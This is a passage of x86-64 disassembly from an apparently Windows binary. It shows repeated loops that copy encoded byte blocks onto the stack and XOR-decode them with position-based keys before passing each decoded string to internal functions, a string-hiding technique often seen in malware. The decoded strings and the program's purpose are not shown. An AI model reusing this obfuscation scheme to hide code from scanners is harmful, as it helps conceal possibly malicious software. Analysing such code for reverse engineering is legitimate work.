xor byte [rsp + r10 + 0x31c9], al
lea ecx, [r8 + 9]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x31ca], al
lea ecx, [r8 + 0xa]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x31cb], al
lea ecx, [r8 + 0xb]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x31cc], al
lea ecx, [r8 + 0xc]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x31cd], al
lea ecx, [r8 + 0xd]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x31ce], al
lea ecx, [r8 + 0xe]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x31cf], al
lea ecx, [r8 + 0xf]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x31d0], al
lea ecx, [r8 + 0x10]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x31d1], al
lea ecx, [r8 + 0x11]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x31d2], al
lea ecx, [r8 + 0x12]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x31d3], al
lea ecx, [r8 + 0x13]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x31d4], al
lea ecx, [r8 + 0x14]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x31d5], al
lea ecx, [r8 + 0x15]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x31d6], al
lea ecx, [r8 + 0x16]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x31d7], al
lea ecx, [r8 + 0x17]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r10 + 0x31d8], al
lea ecx, [r8 + 0x18]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r10 + 0x31d9], al
lea ecx, [r8 + 0x19]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x52
xor byte [rsp + r10 + 0x31da], al
lea ecx, [r8 + 0x1a]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x53
xor byte [rsp + r10 + 0x31db], al
lea ecx, [r8 + 0x1b]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x54
xor byte [rsp + r10 + 0x31dc], al
lea ecx, [r8 + 0x1c]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x55
xor byte [rsp + r10 + 0x31dd], al
add r10d, 0x1f
cmp r10d, 0x7c
jl 0x1400efe10
lea rdx, [rsp + 0x31bf]
lea rcx, [rsp + 0xc08]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
lea rcx, [rsp + 0x418a]
lea rdi, [0x140000000]
vmovups ymm0, ymmword [rdi + 0x1bd300]
vmovups ymmword [rcx], ymm0
vmovups ymm0, ymmword [rdi + 0x1bd320]
vmovups ymmword [rcx + 0x20], ymm0
vmovups ymm0, ymmword [rdi + 0x1bd340]
vmovups ymmword [rcx + 0x40], ymm0
vmovups ymm0, ymmword [rdi + 0x1bd360]
vmovups ymmword [rcx + 0x60], ymm0
vmovups ymm1, ymmword [rdi + 0x1bd380]
vmovups ymmword [rcx + 0x80], ymm1
xor r8d, r8d
lea r9, [rsp + 0x418a]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa0
jl 0x1400f03d0
lea rdx, [rsp + 0x418a]
lea rcx, [rsp + 0xc28]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bd3a0]
vmovups ymmword [rsp + 0x3f1c], ymm0
vmovups ymm1, ymmword [0x1401bd3c0]
vmovups ymmword [rsp + 0x3f3c], ymm1
vmovups ymm0, ymmword [0x1401bd3e0]
vmovups ymmword [rsp + 0x3f5c], ymm0
vmovups ymm1, ymmword [0x1401bd400]
vmovups ymmword [rsp + 0x3f7c], ymm1
vmovups xmm0, xmmword [0x1401bd420]
vmovups xmmword [rsp + 0x3f9c], xmm0
vmovsd xmm0, qword [0x1401bd430]
vmovsd qword [rsp + 0x3fac], xmm0
movzx eax, word [0x1401bd438]
mov word [rsp + 0x3fb4], ax
xor r8d, r8d
lea r9, [rsp + 0x3f1c]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9a
jl 0x1400f04b0
lea rdx, [rsp + 0x3f1c]
lea rcx, [rsp + 0xc48]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
lea rdx, [rsp + 0x42d3]
lea rcx, [rdi + 0x1bd440]
vmovups ymm0, ymmword [rcx]
vmovups ymmword [rdx], ymm0
vmovups ymm0, ymmword [rcx + 0x20]
vmovups ymmword [rdx + 0x20], ymm0
vmovups ymm0, ymmword [rcx + 0x40]
vmovups ymmword [rdx + 0x40], ymm0
vmovups xmm0, xmmword [rcx + 0x60]
vmovups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
vmovups ymm1, ymmword [rcx + 0x70]
vmovups ymmword [rdx - 0x10], ymm1
vmovups xmm1, xmmword [rcx + 0x90]
vmovups xmmword [rdx + 0x10], xmm1
mov rax, qword [rcx + 0xa0]
mov qword [rdx + 0x20], rax
mov eax, dword [rcx + 0xa8]
mov dword [rdx + 0x28], eax
movzx eax, byte [rcx + 0xac]
mov byte [rdx + 0x2c], al
xor r8d, r8d
lea r9, [rsp + 0x42d3]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xad
jl 0x1400f0581
lea rdx, [rsp + 0x42d3]
lea rcx, [rsp + 0xc68]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bd4f0]
vmovups ymmword [rsp + 0x32b8], ymm0
vmovups ymm1, ymmword [0x1401bd510]
vmovups ymmword [rsp + 0x32d8], ymm1
vmovups ymm0, ymmword [0x1401bd530]
vmovups ymmword [rsp + 0x32f8], ymm0
vmovups ymm1, ymmword [0x1401bd550]
vmovups ymmword [rsp + 0x3318], ymm1
movzx eax, byte [0x1401bd570]
mov byte [rsp + 0x3338], al
xor r8d, r8d
lea r9, [rsp + 0x32b8]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x81
jl 0x1400f0640
lea rdx, [rsp + 0x32b8]
lea rcx, [rsp + 0xc88]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bd580]
vmovups ymmword [rsp + 0x35e4], ymm0
vmovups ymm1, ymmword [0x1401bd5a0]
vmovups ymmword [rsp + 0x3604], ymm1
vmovups ymm0, ymmword [str.6_61]
vmovups ymmword [rsp + 0x3624], ymm0
vmovups ymm1, ymmword [0x1401bd5e0]
vmovups ymmword [rsp + 0x3644], ymm1
vmovsd xmm0, qword [0x1401bd600]
vmovsd qword [rsp + 0x3664], xmm0
mov eax, dword [0x1401bd608]
mov dword [rsp + 0x366c], eax
movzx eax, word [0x1401bd60c]
mov word [rsp + 0x3670], ax
movzx eax, byte [0x1401bd60e]
mov byte [rsp + 0x3672], al
xor r8d, r8d
lea r9, [rsp + 0x35e4]
nop
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8f
jl 0x1400f0720
lea rdx, [rsp + 0x35e4]
lea rcx, [rsp + 0xca8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bd610]
vmovups ymmword [rsp + 0x3673], ymm0
vmovups ymm1, ymmword [0x1401bd630]
vmovups ymmword [rsp + 0x3693], ymm1
vmovups ymm0, ymmword [0x1401bd650]
vmovups ymmword [rsp + 0x36b3], ymm0
vmovups ymm1, ymmword [0x1401bd670]
vmovups ymmword [rsp + 0x36d3], ymm1
vmovups xmm0, xmmword [0x1401bd690]
vmovups xmmword [rsp + 0x36f3], xmm0
movzx eax, byte [0x1401bd6a0]
mov byte [rsp + 0x3703], al
xor r8d, r8d
lea r9, [rsp + 0x3673]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x91
jl 0x1400f07f0
lea rdx, [rsp + 0x3673]
lea rcx, [rsp + 0xcc8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bd6b0]
vmovups ymmword [rsp + 0x3704], ymm0
vmovups ymm1, ymmword [0x1401bd6d0]
vmovups ymmword [rsp + 0x3724], ymm1
vmovups ymm0, ymmword [0x1401bd6f0]
vmovups ymmword [rsp + 0x3744], ymm0
vmovups ymm1, ymmword [0x1401bd710]
vmovups ymmword [rsp + 0x3764], ymm1
vmovups xmm0, xmmword [0x1401bd730]
vmovups xmmword [rsp + 0x3784], xmm0
movzx eax, byte [0x1401bd740]
mov byte [rsp + 0x3794], al
xor r8d, r8d
lea r9, [rsp + 0x3704]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x91
jl 0x1400f08c0
lea rdx, [rsp + 0x3704]
lea rcx, [rsp + 0xce8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bd750]
vmovups ymmword [rsp + 0x33bc], ymm0
vmovups ymm1, ymmword [0x1401bd770]
vmovups ymmword [rsp + 0x33dc], ymm1
vmovups ymm0, ymmword [0x1401bd790]
vmovups ymmword [rsp + 0x33fc], ymm0
vmovups ymm1, ymmword [0x1401bd7b0]
vmovups ymmword [rsp + 0x341c], ymm1
mov eax, dword [0x1401bd7d0]
mov dword [rsp + 0x343c], eax
xor r8d, r8d
lea r9, [rsp + 0x33bc]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x84
jl 0x1400f0971
lea rdx, [rsp + 0x33bc]
lea rcx, [rsp + 0xd08]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bd7e0]
vmovups ymmword [rsp + 0x323b], ymm0
vmovups ymm1, ymmword [0x1401bd800]
vmovups ymmword [rsp + 0x325b], ymm1
vmovups ymm0, ymmword [0x1401bd820]
vmovups ymmword [rsp + 0x327b], ymm0
vmovups xmm1, xmmword [0x1401bd840]
vmovups xmmword [rsp + 0x329b], xmm1
vmovsd xmm0, qword [0x1401bd850]
vmovsd qword [rsp + 0x32ab], xmm0
mov eax, dword [0x1401bd858]
mov dword [rsp + 0x32b3], eax
movzx eax, byte [0x1401bd85c]
mov byte [rsp + 0x32b7], al
xor r10d, r10d
nop dword [rax]
mov eax, 0x3521cfb3
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x323b], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x323c], al
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x323d], al
lea ecx, [r8 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x323e], al
lea ecx, [r8 + 2]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x323f], al
lea ecx, [r8 + 3]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x3240], al
lea ecx, [r8 + 4]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x3241], al
lea ecx, [r8 + 5]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x3242], al
lea ecx, [r8 + 6]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x3243], al
lea ecx, [r8 + 7]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x3244], al
lea ecx, [r8 + 8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x3245], al
lea ecx, [r8 + 9]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x3246], al
lea ecx, [r8 + 0xa]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x3247], al
lea ecx, [r8 + 0xb]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x3248], al
lea ecx, [r8 + 0xc]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x3249], al
lea ecx, [r8 + 0xd]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x324a], al
lea ecx, [r8 + 0xe]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x324b], al
lea ecx, [r8 + 0xf]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x324c], al
lea ecx, [r8 + 0x10]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x324d], al
lea ecx, [r8 + 0x11]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x324e], al
lea ecx, [r8 + 0x12]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x324f], al
lea ecx, [r8 + 0x13]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x3250], al
lea ecx, [r8 + 0x14]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x3251], al
lea ecx, [r8 + 0x15]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x3252], al
lea ecx, [r8 + 0x16]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x3253], al
add r10d, 0x19
cmp r10d, 0x7d
jl 0x1400f0a40
lea rdx, [rsp + 0x323b]
lea rcx, [rsp + 0xd28]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bd860]
vmovups ymmword [rsp + 0x2fe7], ymm0
vmovups ymm1, ymmword [0x1401bd880]
vmovups ymmword [rsp + 0x3007], ymm1
vmovups ymm0, ymmword [0x1401bd8a0]
vmovups ymmword [rsp + 0x3027], ymm0
vmovups xmm1, xmmword [0x1401bd8c0]
vmovups xmmword [rsp + 0x3047], xmm1
mov eax, dword [0x1401bd8d0]
mov dword [rsp + 0x3057], eax
xor r10d, r10d
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x2fe7], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x2fe8], al
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x2fe9], al
lea ecx, [r8 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x2fea], al
lea ecx, [r8 + 2]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x2feb], al
lea ecx, [r8 + 3]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x2fec], al
lea ecx, [r8 + 4]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x2fed], al
lea ecx, [r8 + 5]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x2fee], al
lea ecx, [r8 + 6]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x2fef], al
lea ecx, [r8 + 7]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x2ff0], al
lea ecx, [r8 + 8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x2ff1], al
lea ecx, [r8 + 9]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x2ff2], al
lea ecx, [r8 + 0xa]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x2ff3], al
lea ecx, [r8 + 0xb]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x2ff4], al
lea ecx, [r8 + 0xc]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x2ff5], al
lea ecx, [r8 + 0xd]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x2ff6], al
lea ecx, [r8 + 0xe]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x2ff7], al
lea ecx, [r8 + 0xf]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x2ff8], al
lea ecx, [r8 + 0x10]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x2ff9], al
lea ecx, [r8 + 0x11]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x2ffa], al
lea ecx, [r8 + 0x12]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x2ffb], al
lea ecx, [r8 + 0x13]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x2ffc], al
lea ecx, [r8 + 0x14]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4d
